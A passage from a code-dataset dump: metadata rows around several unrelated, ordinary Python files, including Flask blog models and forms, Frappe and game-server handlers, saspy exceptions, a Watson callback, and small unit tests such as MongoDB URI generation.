| 36.970822 | 134 | 0.501865 | 1,809 | 13,938 | 3.618574 | 0.114981 | 0.044302 | 0.030553 | 0.038497 | 0.779866 | 0.729606 | 0.687443 | 0.666819 | 0.666819 | 0.653529 | 0 | 0.032524 | 0.355862 | 13,938 | 376 | 135 | 37.069149 | 0.696592 | 0.121682 | 0 | 0.684713 | 0 | 0.009554 | 0.223241 | 0.04111 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.009554 | null | null | 0.070064 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
863c0c02bb99e728169da6f3b2675c093dd3363d | 192 | py | Python | frappe-bench/apps/erpnext/erpnext/patches/v7_2/update_attendance_docstatus.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v7_2/update_attendance_docstatus.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v7_2/update_attendance_docstatus.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | import frappe
def execute():
frappe.reload_doc("education", "doctype", "student_attendance")
frappe.db.sql('''
update `tabStudent Attendance` set
docstatus=0
where
docstatus=1''') | 21.333333 | 64 | 0.713542 | 23 | 192 | 5.869565 | 0.826087 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.012121 | 0.140625 | 192 | 9 | 65 | 21.333333 | 0.806061 | 0 | 0 | 0 | 0 | 0 | 0.564767 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | true | 0 | 0.125 | 0 | 0.25 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
864a57d71ecf0e80d9060ea5c4a0b3b0b091efc3 | 167 | py | Python | regression_examples.py | NuriaGutierrez/regression_examples | 8845a7609b6c80889c939983d547b3e97720ca1b | [
"MIT"
] | null | null | null | regression_examples.py | NuriaGutierrez/regression_examples | 8845a7609b6c80889c939983d547b3e97720ca1b | [
"MIT"
] | null | null | null | regression_examples.py | NuriaGutierrez/regression_examples | 8845a7609b6c80889c939983d547b3e97720ca1b | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
import scipy as sp
from utils import f
import matplotlib.pyplot as plt
a = np.array([1,2,3])
x,y = f(100,noise=3)
plt.plot(x,y)
| 18.555556 | 31 | 0.724551 | 37 | 167 | 3.27027 | 0.648649 | 0.033058 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.05 | 0.161677 | 167 | 8 | 32 | 20.875 | 0.814286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.625 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
865064b20e5035dcf188c550dd074b982b1f70f5 | 4,678 | py | Python | app/models.py | qsnocode/a-blog-webapp-based-on-flask | c350da300d3e139d26ab7fca73ae9f1a71606040 | [
"MIT"
] | null | null | null | app/models.py | qsnocode/a-blog-webapp-based-on-flask | c350da300d3e139d26ab7fca73ae9f1a71606040 | [
"MIT"
] | null | null | null | app/models.py | qsnocode/a-blog-webapp-based-on-flask | c350da300d3e139d26ab7fca73ae9f1a71606040 | [
"MIT"
] | null | null | null | import logging; logging.basicConfig(level=logging.INFO)
from datetime import datetime
from . import db, login_manager
from flask_login import UserMixin
from werkzeug.security import generate_password_hash, check_password_hash
from markdown import markdown
import bleach
class Follow(db.Model):
__tablename__ = 'follows'
follower_id = db.Column(db.Integer, db.ForeignKey('users.id'), primary_key=True)
followed_id = db.Column(db.Integer, db.ForeignKey('users.id'), primary_key=True)
timestamp = db.Column(db.DateTime, default=datetime.utcnow)
class Follow_Post(db.Model):
__tablename__ = 'follow_posts'
follower_id = db.Column(db.Integer, db.ForeignKey('users.id'), primary_key=True)
followed_id = db.Column(db.Integer, db.ForeignKey('posts.id'), primary_key=True)
timestamp = db.Column(db.DateTime, default=datetime.utcnow)
class User(UserMixin, db.Model):
__tablename__ = 'users'
id = db.Column(db.Integer, primary_key=True)
email = db.Column(db.String(64), unique=True, index=True)
username = db.Column(db.String(64), unique=True, index=True)
password_hash = db.Column(db.String(128))
admin = db.Column(db.Integer, default=0)
name = db.Column(db.String(64))
location = db.Column(db.String(64))
about_me = db.Column(db.Text)
member_since = db.Column(db.DateTime, default=datetime.utcnow)
last_seen = db.Column(db.DateTime, default=datetime.utcnow)
following = db.relationship('Follow',
foreign_keys=[Follow.follower_id],
backref=db.backref('follower', lazy='joined'),
lazy='dynamic',
cascade='all, delete-orphan')
followers = db.relationship('Follow',
foreign_keys=[Follow.followed_id],
backref=db.backref('followed', lazy='joined'),
lazy='dynamic',
cascade='all, delete-orphan')
posts = db.relationship('Post', backref='author', lazy='dynamic')
following_posts = db.relationship('Follow_Post',
foreign_keys=[Follow_Post.follower_id],
backref=db.backref('follower', lazy='joined'),
lazy='dynamic',
cascade='all, delete-orphan')
def __repr__(self):
return '<User %r>' % self.username
@property
def password(self):
raise AttributeError('password is not a readable attribute')
@password.setter
def password(self, password):
self.password_hash = generate_password_hash(password)
def verify_password(self, password):
return check_password_hash(self.password_hash, password)
def is_administator(self):
return self.admin
def ping(self):
self.last_seen = datetime.utcnow()
db.session.add(self)
db.session.commit()
def follow(self, user):
if not self.is_following(user):
f = Follow(follower=self, followed=user)
db.session.add(f)
db.session.commit()
def unfollow(self, user):
f = self.following.filter_by(followed_id=user.id).first()
if f:
db.session.delete(f)
db.session.commit()
def is_following(self, user):
return self.following.filter_by(followed_id=user.id).first() is not None
def is_followed_by(self, user):
return self.followers.filter_by(follower_id=user.id).first() is not None
def follow_post(self, post):
if not self.is_following_post(post):
f = Follow_Post(follower=self, followed=post)
db.session.add(f)
db.session.commit()
def unfollow_post(self, post):
f = self.following_posts.filter_by(followed_id=post.id).first()
if f:
db.session.delete(f)
db.session.commit()
def is_following_post(self, post):
return self.following_posts.filter_by(followed_id=post.id).first() is not None
class Post(db.Model):
__tablename__ = 'posts'
id = db.Column(db.Integer, primary_key=True)
title = db.Column(db.Text)
body = db.Column(db.Text)
timestamp = db.Column(db.DateTime, index=True, default=datetime.utcnow)
body_html = db.Column(db.Text)
author_id = db.Column(db.Integer, db.ForeignKey('users.id'))
followers = db.relationship('Follow_Post',
foreign_keys=[Follow_Post.followed_id],
backref=db.backref('followed', lazy='joined'),
lazy='dynamic',
cascade='all, delete-orphan')
@staticmethod
def on_changed_body(target, value, oldvalue, initator):
allowed_tags = ['a', 'abbr', 'acronym', 'b', 'blockquote', 'code', 'em', 'i', 'li', 'ol', 'strong', 'ul', 'h1', 'h2', 'h3', 'p', 'br']
target.body_html = bleach.linkify(bleach.clean(markdown(value, output_format='html'), tags=allowed_tags, strip=True))
db.event.listen(Post.body, 'set', Post.on_changed_body)
@login_manager.user_loader
def load_user(user_id):
return User.query.get(int(user_id)) | 32.262069 | 137 | 0.695383 | 644 | 4,678 | 4.892857 | 0.218944 | 0.055855 | 0.069819 | 0.043161 | 0.498255 | 0.46271 | 0.439226 | 0.414472 | 0.353221 | 0.268486 | 0 | 0.003834 | 0.163745 | 4,678 | 145 | 138 | 32.262069 | 0.801636 | 0 | 0 | 0.268519 | 1 | 0 | 0.083572 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.138889 | false | 0.083333 | 0.064815 | 0.064815 | 0.592593 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
865a41678769439035e0a7e9cb3ba6058a4f33f5 | 466 | py | Python | src/yellowdog_client/model/node_run_command_action.py | yellowdog/yellowdog-sdk-python-public | da69a7d6e45c92933e34fefcaef8b5d98dcd6036 | [
"Apache-2.0"
] | null | null | null | src/yellowdog_client/model/node_run_command_action.py | yellowdog/yellowdog-sdk-python-public | da69a7d6e45c92933e34fefcaef8b5d98dcd6036 | [
"Apache-2.0"
] | null | null | null | src/yellowdog_client/model/node_run_command_action.py | yellowdog/yellowdog-sdk-python-public | da69a7d6e45c92933e34fefcaef8b5d98dcd6036 | [
"Apache-2.0"
] | null | null | null | from dataclasses import dataclass, field
from typing import Dict, List, Optional
from .node_action import NodeAction
from .node_id_filter import NodeIdFilter
@dataclass
class NodeRunCommandAction(NodeAction):
action: str = field(default="RUN_COMMAND", init=False)
path: str
arguments: Optional[List[str]] = None
environment: Optional[Dict[str, str]] = None
nodeIdFilter: Optional[NodeIdFilter] = None
nodeTypes: Optional[List[str]] = None
| 29.125 | 58 | 0.753219 | 56 | 466 | 6.196429 | 0.5 | 0.060519 | 0.086455 | 0.10951 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.156652 | 466 | 15 | 59 | 31.066667 | 0.882952 | 0 | 0 | 0 | 0 | 0 | 0.023605 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.916667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
865cc46b62c7cb5383a2e328ecbf1c1a6c18a403 | 2,805 | py | Python | handlers/kbeServer/XREditor/Response/xr_response_mail.py | iamjing66/tornaodo_sdk | 242a852d3231e5798aa357a17e5638c7dc0567b9 | [
"MIT"
] | null | null | null | handlers/kbeServer/XREditor/Response/xr_response_mail.py | iamjing66/tornaodo_sdk | 242a852d3231e5798aa357a17e5638c7dc0567b9 | [
"MIT"
] | null | null | null | handlers/kbeServer/XREditor/Response/xr_response_mail.py | iamjing66/tornaodo_sdk | 242a852d3231e5798aa357a17e5638c7dc0567b9 | [
"MIT"
] | null | null | null | import Global
from methods.DBManager import DBManager
from handlers.kbeServer.XREditor.Interface import xr_interface_mail
#获取邮件列表
def Transactions_Code_6001(self_uid,self_username,languageStr,json_data):
#回调json
json_back = {
"code" : 0,
"msg": "",
"pam": ""
}
#logging.info("getphone code:[%s] - [%s] " % (phone, code))
#json_data 结构
page = int(json_data["page"]) #页数
hnum = int(json_data["hnum"]) #一页几行
if page < 0 or hnum < 0:
json_back["code"] = 0 #参数异常
json_back["msg"] = Global.LanguageInst.GetMsg("SMSGID_1_4",languageStr)
else:
# 获取下db的句柄,如果需要操作数据库的话
DB = DBManager()
json_back = xr_interface_mail.GetMail(DB,self_uid,page,hnum,languageStr)
DB.destroy()
return json_back
#读邮件
def Transactions_Code_6002(self_uid,self_username,languageStr,json_data):
#回调json
json_back = {
"code" : 0,
"msg": "",
"pam": ""
}
#logging.info("getphone code:[%s] - [%s] " % (phone, code))
#json_data 结构
ID = int(json_data["ID"]) #邮件ID
if ID < 0:
json_back["code"] = 0 #参数异常
json_back["msg"] = Global.LanguageInst.GetMsg("SMSGID_1_4",languageStr)
else:
# 获取下db的句柄,如果需要操作数据库的话
json_back = xr_interface_mail.ReadMail(self_uid,ID,languageStr)
return json_back
#删除邮件
def Transactions_Code_6003(self_uid,self_username,languageStr,json_data):
#回调json
json_back = {
"code" : 0,
"msg": "",
"pam": ""
}
#logging.info("getphone code:[%s] - [%s] " % (phone, code))
#json_data 结构
ID = int(json_data["ID"]) #邮件ID
if ID < 0:
json_back["code"] = 0 #参数异常
json_back["msg"] = Global.LanguageInst.GetMsg("SMSGID_1_4",languageStr)
else:
# 获取下db的句柄,如果需要操作数据库的话
json_back = xr_interface_mail.DetMail(self_uid,ID,languageStr)
return json_back
#全部已读
def Transactions_Code_6004(self_uid,self_username,languageStr,json_data):
#回调json
json_back = {
"code" : 0,
"msg": "",
"pam": ""
}
#logging.info("getphone code:[%s] - [%s] " % (phone, code))
#json_data 结构
#ID = int(json_data["ID"]) #邮件ID
DB = DBManager()
json_back = xr_interface_mail.ReadAll(DB, self_uid, languageStr)
DB.destroy()
return json_back
#删除已读
def Transactions_Code_6005(self_uid,self_username,languageStr,json_data):
#回调json
json_back = {
"code" : 0,
"msg": "",
"pam": ""
}
#logging.info("getphone code:[%s] - [%s] " % (phone, code))
#json_data 结构
#ID = int(json_data["ID"]) #邮件ID
DB = DBManager()
json_back = xr_interface_mail.DeleteReaded(self_uid, languageStr)
DB.destroy()
return json_back | 25.044643 | 80 | 0.597148 | 346 | 2,805 | 4.609827 | 0.193642 | 0.105329 | 0.060188 | 0.065204 | 0.774922 | 0.774922 | 0.753605 | 0.689655 | 0.638245 | 0.638245 | 0 | 0.018331 | 0.260963 | 2,805 | 112 | 81 | 25.044643 | 0.751085 | 0.200357 | 0 | 0.676923 | 0 | 0 | 0.051131 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.046154 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
865e892e880b964d0491508151be9f9434c7a4ed | 2,037 | py | Python | saspy/sasexceptions.py | metllord/saspy | 324dd76c5769355f4130186c99b5e907350ca205 | [
"Apache-2.0"
] | 317 | 2016-04-01T17:50:29.000Z | 2022-03-04T14:06:38.000Z | saspy/sasexceptions.py | metllord/saspy | 324dd76c5769355f4130186c99b5e907350ca205 | [
"Apache-2.0"
] | 361 | 2016-04-25T16:04:06.000Z | 2022-03-30T13:52:03.000Z | saspy/sasexceptions.py | metllord/saspy | 324dd76c5769355f4130186c99b5e907350ca205 | [
"Apache-2.0"
] | 167 | 2016-04-01T18:45:38.000Z | 2022-02-24T21:24:26.000Z | #
# Copyright SAS Institute
#
# Licensed under the Apache License, Version 2.0 (the License);
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class SASConfigNotFoundError(Exception):
def __init__(self, path: str):
self.path = path
def __str__(self):
return 'Configuration path {} does not exist.'.format(self.path)
class SASConfigNotValidError(Exception):
def __init__(self, defn: str, msg: str=None):
self.defn = defn if defn else 'N/A'
self.msg = msg
def __str__(self):
return 'Configuration definition {} is not valid. {}'.format(self.defn, self.msg)
class SASIONotSupportedError(Exception):
def __init__(self, method: str, alts: list=None):
self.method = method
self.alts = alts
def __str__(self):
if self.alts is not None:
alt_text = 'Try the following: {}'.format(', '.join(self.alts))
else:
alt_text = ''
return 'Cannot use {} I/O module on Windows. {}'.format(self.method, alt_text)
class SASHTTPauthenticateError(Exception):
def __init__(self, msg: str):
self.msg = msg
def __str__(self):
return 'Failure in GET AuthToken.\n {}'.format(self.msg)
class SASHTTPconnectionError(Exception):
def __init__(self, msg: str):
self.msg = msg
def __str__(self):
return 'Failure in GET Connection.\n {}'.format(self.msg)
class SASHTTPsubmissionError(Exception):
def __init__(self, msg: str):
self.msg = msg
def __str__(self):
return 'Failure in submit().\n {}'.format(self.msg)
| 27.90411 | 89 | 0.66323 | 267 | 2,037 | 4.868914 | 0.397004 | 0.059231 | 0.073846 | 0.092308 | 0.226923 | 0.165385 | 0.165385 | 0.145385 | 0.145385 | 0.145385 | 0 | 0.002551 | 0.230241 | 2,037 | 72 | 90 | 28.291667 | 0.826531 | 0.270987 | 0 | 0.361111 | 0 | 0 | 0.158254 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0 | 0.138889 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 3 |
8661b7c4dcedaa0caf3503fdbb1abdbc231eec78 | 2,895 | py | Python | app/admin/forms.py | biefeng/profile | daa3d4e185db3008e3ad649f4249ed0b3945ad3d | [
"Apache-2.0"
] | null | null | null | app/admin/forms.py | biefeng/profile | daa3d4e185db3008e3ad649f4249ed0b3945ad3d | [
"Apache-2.0"
] | 4 | 2020-07-02T04:14:57.000Z | 2020-07-02T04:17:05.000Z | app/admin/forms.py | biefeng/profile | daa3d4e185db3008e3ad649f4249ed0b3945ad3d | [
"Apache-2.0"
] | null | null | null | # coding:utf-8
from flask_wtf import Form
from wtforms import SelectField, StringField, TextAreaField, SubmitField, \
PasswordField
from wtforms.validators import DataRequired, Length, Email, EqualTo
from ..main.forms import CommentForm
class CommonForm(Form):
types = SelectField(u'博文分类', coerce=int, validators=[DataRequired()])
source = SelectField(u'博文来源', coerce=int, validators=[DataRequired()])
class SubmitArticlesForm(CommonForm):
title = StringField(u'标题', validators=[DataRequired(), Length(1, 64)])
content = TextAreaField(u'博文内容', validators=[DataRequired()])
summary = TextAreaField(u'博文摘要', validators=[DataRequired()])
class ManageArticlesForm(CommonForm):
pass
class DeleteArticleForm(Form):
articleId = StringField(validators=[DataRequired()])
class DeleteArticlesForm(Form):
articleIds = StringField(validators=[DataRequired()])
class DeleteCommentsForm(Form):
commentIds = StringField(validators=[DataRequired()])
class AdminCommentForm(CommentForm):
article = StringField(validators=[DataRequired()])
class AddArticleTypeForm(Form):
name = StringField(u'分类名称', validators=[DataRequired(), Length(1, 64)])
introduction = TextAreaField(u'分类介绍')
setting_hide = SelectField(u'属性', coerce=int, validators=[DataRequired()])
menus = SelectField(u'所属导航', coerce=int, validators=[DataRequired()])
# You must add coerce=int, or the SelectFile validate function only validate the int data
class EditArticleTypeForm(AddArticleTypeForm):
articleType_id = StringField(validators=[DataRequired()])
class AddArticleTypeNavForm(Form):
name = StringField(u'导航名称', validators=[DataRequired(), Length(1, 64)])
class EditArticleNavTypeForm(AddArticleTypeNavForm):
nav_id = StringField(validators=[DataRequired()])
class SortArticleNavTypeForm(AddArticleTypeNavForm):
order = StringField(u'序号', validators=[DataRequired()])
class CustomBlogInfoForm(Form):
title = StringField(u'博客标题', validators=[DataRequired()])
signature = TextAreaField(u'个性签名', validators=[DataRequired()])
navbar = SelectField(u'导航样式', coerce=int, validators=[DataRequired()])
class AddBlogPluginForm(Form):
title = StringField(u'插件名称', validators=[DataRequired()])
note = TextAreaField(u'备注')
content = TextAreaField(u'内容', validators=[DataRequired()])
class ChangePasswordForm(Form):
old_password = PasswordField(u'原来密码', validators=[DataRequired()])
password = PasswordField(u'新密码', validators=[
DataRequired(), EqualTo('password2', message=u'两次输入密码不一致!')])
password2 = PasswordField(u'确认新密码', validators=[DataRequired()])
class EditUserInfoForm(Form):
username = StringField(u'昵称', validators=[DataRequired()])
email = StringField(u'电子邮件', validators=[DataRequired(), Length(1, 64), Email()])
password = PasswordField(u'密码确认', validators=[DataRequired()])
| 33.275862 | 89 | 0.738515 | 283 | 2,895 | 7.537102 | 0.371025 | 0.278481 | 0.151899 | 0.106892 | 0.129395 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005924 | 0.125389 | 2,895 | 86 | 90 | 33.662791 | 0.836493 | 0.034542 | 0 | 0 | 0 | 0 | 0.035458 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.153846 | 0.076923 | 0 | 0.942308 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
866c94fb7941431ec9960a2716d24c526c4fde97 | 162 | py | Python | tests/test_valid_palindrome.py | dhanraj-vedanth/Leetcode | b8b3283fc443b9ead769f8e3c720fc6c5d7633a6 | [
"MIT"
] | null | null | null | tests/test_valid_palindrome.py | dhanraj-vedanth/Leetcode | b8b3283fc443b9ead769f8e3c720fc6c5d7633a6 | [
"MIT"
] | null | null | null | tests/test_valid_palindrome.py | dhanraj-vedanth/Leetcode | b8b3283fc443b9ead769f8e3c720fc6c5d7633a6 | [
"MIT"
] | null | null | null | from valid_palindrome_125.main import Solution
def test_positive_case():
s = Solution()
assert s.isPalindrome("A man, a plan, a canal: Panama") is True
| 23.142857 | 67 | 0.728395 | 25 | 162 | 4.56 | 0.84 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.022556 | 0.179012 | 162 | 6 | 68 | 27 | 0.834586 | 0 | 0 | 0 | 0 | 0 | 0.185185 | 0 | 0 | 0 | 0 | 0 | 0.25 | 1 | 0.25 | false | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
86a7452921d3ec9af07c2d81adaae203a3764137 | 188 | py | Python | test/test_util.py | westonsteimel/pip-audit | 3b29e66418de9236c92b3ffaa254ae9def2bdcbf | [
"Apache-2.0"
] | 447 | 2021-09-02T17:06:18.000Z | 2022-03-28T20:58:22.000Z | test/test_util.py | westonsteimel/pip-audit | 3b29e66418de9236c92b3ffaa254ae9def2bdcbf | [
"Apache-2.0"
] | 177 | 2021-09-02T16:45:42.000Z | 2022-03-29T14:19:11.000Z | test/test_util.py | westonsteimel/pip-audit | 3b29e66418de9236c92b3ffaa254ae9def2bdcbf | [
"Apache-2.0"
] | 25 | 2021-09-13T16:04:23.000Z | 2022-03-21T17:47:28.000Z | from packaging.version import Version
import pip_audit._util as util
def test_python_version():
v = util.python_version()
assert v is not None
assert isinstance(v, Version)
| 18.8 | 37 | 0.744681 | 28 | 188 | 4.821429 | 0.607143 | 0.192593 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.191489 | 188 | 9 | 38 | 20.888889 | 0.888158 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.333333 | 1 | 0.166667 | false | 0 | 0.333333 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
86bb41a169dca1cafc1fe0ca98e2d8179b03ac36 | 1,614 | py | Python | ibm_watson/websocket/synthesize_callback.py | knishika/watson-developer-cloud-python-sdk | 83370b74e19ebdb851af212ef75f470551b59c94 | [
"Apache-2.0"
] | 1 | 2020-08-31T11:34:32.000Z | 2020-08-31T11:34:32.000Z | ibm_watson/websocket/synthesize_callback.py | johnjdailey/python-sdk | 83370b74e19ebdb851af212ef75f470551b59c94 | [
"Apache-2.0"
] | null | null | null | ibm_watson/websocket/synthesize_callback.py | johnjdailey/python-sdk | 83370b74e19ebdb851af212ef75f470551b59c94 | [
"Apache-2.0"
] | 1 | 2017-07-03T07:30:49.000Z | 2017-07-03T07:30:49.000Z | # coding: utf-8
# (C) Copyright IBM Corp. 2018, 2019.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
class SynthesizeCallback(object):
def __init__(self):
pass
def on_connected(self):
"""
Called when a Websocket connection was made
"""
def on_error(self, error):
"""
Called when there is an error in the Websocket connection.
"""
def on_content_type(self, content_type):
"""
Called when the service responds with the format of the audio response
"""
def on_timing_information(self, timing_information):
"""
Called when the service returns timing information
"""
def on_audio_stream(self, audio_stream):
"""
Called when the service sends the synthesized audio as a binary stream of data in the indicated format.
"""
def on_data(self, data):
"""
Called when the service returns results. The data is returned unparsed.
"""
def on_close(self):
"""
Called when the Websocket connection is closed
"""
| 28.315789 | 111 | 0.654895 | 213 | 1,614 | 4.882629 | 0.492958 | 0.033654 | 0.0625 | 0.076923 | 0.051923 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011017 | 0.268897 | 1,614 | 56 | 112 | 28.821429 | 0.870339 | 0.63259 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.8 | false | 0.1 | 0 | 0 | 0.9 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 3 |
86dae7068ce48cce98d5840114eb891a057458ae | 180 | py | Python | pygame/PygameSuperMario/source/setup.py | Tom-Li1/py_modules | 402b2e1ea0cfa5e6e3d8a13f45efdffc7495e91f | [
"MIT"
] | null | null | null | pygame/PygameSuperMario/source/setup.py | Tom-Li1/py_modules | 402b2e1ea0cfa5e6e3d8a13f45efdffc7495e91f | [
"MIT"
] | null | null | null | pygame/PygameSuperMario/source/setup.py | Tom-Li1/py_modules | 402b2e1ea0cfa5e6e3d8a13f45efdffc7495e91f | [
"MIT"
] | null | null | null | import pygame
from . import constants as C
from . import tools
pygame.init()
SCREEN = pygame.display.set_mode(C.SCREEN_SIZE)
GRAPHICS = tools.load_graphics(r'resources/graphics')
| 22.5 | 53 | 0.788889 | 27 | 180 | 5.148148 | 0.62963 | 0.143885 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 180 | 7 | 54 | 25.714286 | 0.86875 | 0 | 0 | 0 | 0 | 0 | 0.1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 3 |
81062df9a39d7a85170204677b0039db741b9e6b | 1,857 | py | Python | tests/test_mongodb_uri.py | jeverling/flask-mongoalchemy | edccc58ab73695a435c653e9f5221f9e4229b143 | [
"BSD-3-Clause"
] | 1 | 2015-02-18T16:55:22.000Z | 2015-02-18T16:55:22.000Z | tests/test_mongodb_uri.py | jeverling/flask-mongoalchemy | edccc58ab73695a435c653e9f5221f9e4229b143 | [
"BSD-3-Clause"
] | null | null | null | tests/test_mongodb_uri.py | jeverling/flask-mongoalchemy | edccc58ab73695a435c653e9f5221f9e4229b143 | [
"BSD-3-Clause"
] | null | null | null | from tests import BaseTestCase
from flask import Flask
from nose.tools import assert_equals
class MongoDBURITestCase(BaseTestCase):
"MongoDB URI generation"
def setup(self):
self.app = Flask(__name__)
self.app.config['MONGOALCHEMY_DATABASE'] = 'test'
def should_use_localhost_for_server_and_27017_for_port_when_only_the_database_name_was_specified(self):
from flaskext.mongoalchemy import _get_mongo_uri
assert_equals(_get_mongo_uri(self.app), 'mongodb://localhost:27017')
def should_be_able_to_generate_an_uri_using_only_the_username_without_password(self):
self.app.config['MONGOALCHEMY_USER'] = 'luke'
from flaskext.mongoalchemy import _get_mongo_uri
assert_equals(_get_mongo_uri(self.app), 'mongodb://luke@localhost:27017')
def should_be_able_to_generate_an_uri_using_an_username_and_a_password(self):
self.app.config['MONGOALCHEMY_USER'] = 'luke'
self.app.config['MONGOALCHEMY_PASSWORD'] = 'father'
from flaskext.mongoalchemy import _get_mongo_uri
assert_equals(_get_mongo_uri(self.app), 'mongodb://luke:father@localhost:27017')
def should_be_able_to_use_not_only_localhost_for_server_and_27017_for_port(self):
self.app.config['MONGOALCHEMY_SERVER'] = 'database.lukehome.com'
